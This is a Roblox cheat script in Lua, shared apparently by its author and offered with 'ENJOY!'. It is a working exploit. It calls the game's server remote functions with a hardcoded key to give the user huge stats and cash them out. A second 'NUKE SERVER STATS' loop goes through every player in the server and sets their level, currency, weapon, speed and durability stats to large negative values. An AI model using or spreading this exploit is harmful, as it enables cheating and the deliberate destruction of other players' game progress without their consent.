Created by Hypercapsule#0001
Features:
- INFINITE STATS
local args = {
[1] = "1563163",
[2] = "YenAddButton",
[3] = -100000000000
}
game:GetService("Players").LocalPlayer.StorageFile.statusfunction:InvokeServer(unpack(args))
wait(1)
local args = {
[1] = "1563163",
[2] = "ReputationAddButton",
[3] = 100000000000
}
game:GetService("Players").LocalPlayer.StorageFile.statusfunction:InvokeServer(unpack(args))
wait(1)
local args = {
[1] = "Secured1",
[2] = game:GetService("Players").LocalPlayer.StorageFile
}
game:GetService("ReplicatedStorage").Remotes.ReppCashhout:InvokeServer(unpack(args))
wait(1)
local args = {
[1] = "1563163",
[2] = "ReputationAddButton",
[3] = -100000000000
}
game:GetService("Players").LocalPlayer.StorageFile.statusfunction:InvokeServer(unpack(args))
- NUKE SERVER STATS
for i,v in pairs(game.Players:GetChildren()) do
bruh = v.Name
local args = {
[1] = "1563163",
[2] = "LevelAddButton",
[3] = -1000000000
}
game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
wait()
local args = {
[1] = "1563163",
[2] = "YenAddButton",
[3] = -1000000000
}
game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
wait()
local args = {
[1] = "1563163",
[2] = "RCAddButton",
[3] = -1000000000
}
game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
wait()
local args = {
[1] = "1563163",
[2] = "ReputationAddButton",
[3] = -1000000000
}
game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
wait()
local args = {
[1] = "1563163",
[2] = "WeaponAddButton",
[3] = -1000000000
}
game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
wait()
local args = {
[1] = "1563163",
[2] = "SpeedAddButton",
[3] = -1000000000
}
game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
wait()
local args = {
[1] = "1563163",
[2] = "DurabilityAddButton",
[3] = -1000000000
}
game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
wait()
local args = {
[1] = "1563163",
[2] = "2xExpTimeAddButton",
[3] = 7000000000
}
game:GetService("Players")[bruh].StorageFile.statusfunction:InvokeServer(unpack(args))
end
ENJOY!